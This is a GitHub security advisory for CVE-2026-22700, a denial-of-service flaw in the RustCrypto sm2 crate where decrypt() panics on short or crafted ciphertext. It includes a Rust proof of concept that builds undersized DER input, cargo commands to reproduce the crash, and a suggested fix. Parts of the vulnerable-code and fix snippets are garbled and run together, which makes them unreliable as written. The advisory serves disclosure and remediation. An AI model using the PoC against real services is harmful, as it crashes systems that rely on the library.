GitHub Advisoryadvisory · crates.io
GHSA-j9xq-69pf-pcm8 RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
HIGH
Official page ↗
- Aliases
- CVE-2026-22700
- Ecosystem
- crates.io
- Packages
- sm2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-20
- Reviewed
- 2026-01-13
Affected packages
• crates.io sm2: >= 0.14.0-pre.0, <= 0.14.0-rc.4 (no fix yet)
Description
Summary
A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the `decrypt()` path performs unchecked `slice::split_at` operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.
Affected Component / Versions
• File: `src/pke/decrypting.rs`
• Functions: `DecryptingKey::decrypt_digest/decrypt/decrypt_der`, internal `decrypt()` implementation
• Affected releases:
• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The vulnerability is located in the file `sm2/src/pke/decrypting.rs`. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (`Error`) mechanism. The Rust function `C.split_at(L)` will trigger a Panic if the length is less than `L`, as shown in the code comment below: the `decrypting` function has at least three locations where a slice operation might trigger a Panic.
```rust
fn decrypt(
secret_scalar: &Scalar,
mode: Mode,
hasher: &mut dyn DynDigest,
cipher: &[u8],
) -> Result> {
let q = U256::from_be_hex(FieldElement::MODULUS);
let c1_len = q.bits().div_ceil(8) * 2 + 1; // Typically 65 for SM2
// B1: get 𝐶1 from 𝐶
let (c1, c) = cipher.split_at(c1_len as usize); // PANIC HERE if cipher.len() {
let (c3, c2) = c.split_at(digest_size); // PANIC HERE if c.len() c.split_at(c.len() - digest_size), // PANIC HERE if c.len() Vec {
// Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
let mut body = Vec::new();
// INTEGER x
body.push(0x02);
body.push(x.len() as u8);
body.extend_from_slice(x);
// INTEGER y
body.push(0x02);
body.push(y.len() as u8);
body.extend_from_slice(y);
// OCTET STRING digest (intentionally tiny)
body.push(0x04);
body.push(digest.len() as u8);
body.extend_from_slice(digest);
// OCTET STRING cipher (intentionally tiny)
body.push(0x04);
body.push(cipher.len() as u8);
body.extend_from_slice(cipher);
// SEQUENCE header
let mut der = Vec::new();
der.push(0x30);
der.push(body.len() as u8);
der.extend(body);
der
}
fn main() {
let mut rng = OsRng;
let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
// Extract recipient public key coordinates before moving the secret key into DecryptingKey
let pk = sk.public_key();
let dk = DecryptingKey::new(sk);
// get SEC1 encoding 0x04 || X || Y and slice out X and Y
let sec1 = pk.to_sec1_bytes();
let sec1_ref: &[u8] = sec1.as_ref();
let x = &sec1_ref[1..33];
let y = &sec1_ref[33..65];
// Very small digest and cipher to trigger length-based panics inside decrypt()
let digest = [0x33u8; 1];
let cipher = [0x44u8; 1];
let der = build_der(x, y, &digest, &cipher);
println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
// Expected to panic inside decrypt() due to missing length checks when splitting
let _ = dk.decrypt_der(&der);
println!("decrypt_der returned (unexpected) - PoC did not panic");
}
```
Reproduction (from repository root):
```bash
PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std
PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
```
Impact
• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.
Recommended Fix
Perform defensive length checks before any `split_at` usage and return a controlled `Err` instead of allowing a panic. Minimal fixes in `decrypt()`:
```rust
let c1_len_usize = c1_len as usize;
if cipher.len() {
let (c3, c2) = c.split_at(digest_size);
(c2, c3)
}
Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};
```
After applying these checks, `decrypt()` will return an error for short or malformed inputs instead of panicking.
Credit
This vulnerability was discovered by:
• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. O…
Related
Alias · CVE (1)
- CVE-2026-22700 RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing… vulnerability
Weakness · CWE (1)
- CWE-20 Improper Input Validation weakness
References
- https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-22700 advisory
- https://github.com/RustCrypto/elliptic-curves/pull/1603 web
- https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab web
- https://github.com/RustCrypto/elliptic-curves package